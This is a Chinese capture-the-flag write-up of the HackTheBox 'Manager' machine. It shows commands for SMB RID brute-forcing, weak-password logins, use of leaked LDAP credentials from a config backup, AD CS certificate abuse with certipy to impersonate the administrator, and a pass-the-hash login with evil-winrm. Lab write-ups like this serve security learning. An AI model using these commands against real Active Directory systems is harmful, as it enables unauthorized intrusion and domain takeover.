HackTheBox Manager WriteUP

题目

logo

解题

Get User

端口扫描

域名枚举

因为开着DNS服务,可以很方便的先收集一波子域名:

dnsenum --dnsserver 10.10.11.236 --enum -p 0 -s 0 -o ~/HackTheBox/Manager/subdomain.txt -f /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt manager.htb

获取到主机名:dc01.manager.htb

SMB用户名枚举/弱口令

crackmapexec smb manager.htb -u "anonymous" -p "" --rid-brute

Alt text

operator账户存在弱口令:

operator

MSSQL弱口令

使用此密码尝试登录其他服务,登录MSSQL成功:

Alt text

读取系统目录,发现网站备份文件:

Alt text

Web备份文件

审计网站源码,发现配置文件中的账号密码:

.old-conf

<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>

使用此evil-winrm登录,获得user.txt:

$ evil-winrm -u raven -p 'R4v3nBe5tD3veloP3r!123' -i manager.htb

Alt text

Get Root

收集用户名

Raven用户下可以看到完整的用户列表(crackmapexec默认只遍历RID1-4000的账户):

*Evil-WinRM* PS C:\Users\Raven\Documents> Get-LocalUser

Name          Enabled Description
----          ------- -----------
Administrator True    Built-in account for administering the computer/domain
Guest         True    Built-in account for guest access to the computer/domain
krbtgt        False   Key Distribution Center Service Account
Zhong         True
Cheng         True
Ryan          True
Raven         True
JinWoo        True
ChinHae       True
Operator      True

查看是否有AD CS服务,检查到CA Name:manager-DC01-CA

Alt text

提权

利用证书配置错误,将raven提升为officer(Certificate Manager):

certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -add-officer raven -ca 'manager-DC01-CA'

Alt text

可以使用 -enable-template 参数在 CA 上启用 SubCA 模板。默认情况下,SubCA 模板已启用。

certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -enable-template 'SubCA'

Alt text

确认一下SubCA模板成功启用了

list

请求基于 SubCA 模板的证书,记录下request ID

certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -template SubCA -upn administrator@manager.htb -target manager.htb

Alt text

使用 ca 命令和参数发出失败的 -issue-request <request ID> 证书请求,然后使用 req 命令和参数检索颁发的 -retrieve 证书:

$ certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -issue-request 45 
$ certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -retrieve 45

Alt text

验证证书,提取哈希:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.236 -domain manager.htb -username administrator

Alt text

利用hash登录administrator账户,获得root.txt

evil-winrm -u administrator -H ae5064c2f62317332c88629e025924ef -i manager.htb

Alt text

Alt text

Alt text

后记

前前后后忙活了一个星期,在赛季结束之前把flag提交了。中间卡住很多次,比如爆破账号密码的时候直接用了字典,没有想到把用户名加到密码表中。以及后续提权,基本是把所有收集到的信息,对照网上查到的资料,一样一样的尝试(所以完整的wp写了700多行……),最后才root。

收获颇丰,收获颇丰。

参考资料